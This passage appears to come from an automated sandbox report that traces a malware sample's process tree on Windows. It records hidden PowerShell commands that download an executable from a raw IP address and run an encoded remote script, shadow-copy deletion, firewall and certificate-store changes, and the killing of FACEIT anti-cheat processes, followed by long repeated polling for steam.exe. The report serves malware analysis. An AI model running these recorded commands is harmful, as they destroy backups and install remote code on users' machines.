        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4260
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:712
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3716
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AYgBlAHIAcwBlAHIAawAuAHIAaQBwAC8AbwBuAGMAbwBuAG4AZQBjAHQALgBwAHMAMQAgAHwAIABpAGUAeAA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5752
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1220
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2456
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2124
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1368
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5496
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        
        PID:1732
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        
        PID:2848
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        
        PID:5956
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5128
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4024
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4588
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:236
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1904
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3056
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:716
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:320
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2324
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2948
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4680
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6008
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5684
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3508
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3404
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:1656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2204
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:708
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2880
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:340
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2936
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3240
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1328
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5956
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4232
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4012
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4364
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3364
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:5876
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3580
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3284
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6072
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3836
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4376
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3744
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4556
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2020
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5988
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3392
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1048
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1188
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5956
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4524
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4232
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1148
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5196
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4092
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5008
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:416
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:716
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:992
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1520
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:340
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1264
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4440
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5432
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2744
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1196
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4344
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:5572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2864
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4444
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4012
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2516
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2140
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4092
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5708
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1656
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4200
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2712
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3732
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:328
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2780
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:5504
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1884
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4264
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3772
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4600
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5652
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4548
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1384
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4364
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2784
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1120
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2364
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4516
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4552
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4836
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3424
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:4740
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:992
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:328
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1440
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2824
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2728
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:472
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3208
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:6124
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:632
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4820
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3696
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4100
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4832
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3676
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4448
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5776
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4480
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:5068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4544
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5876
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:6072
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1008
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:320
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4056
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2712
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4376
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3152
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5916
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2664
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1712
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5668
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5204
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:5296
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:4600
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2320
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:8
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4164
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3404
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2576
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5440
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4068
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1656
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1528
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4200
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4640
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3284
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2152
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2036
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:716
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3412
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2972
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:5412
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:5820
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4904
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4304
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2180
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1104
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4472
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:936
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3856
        
        C:\Windows\SYSTEM32\tasklist.exe
        
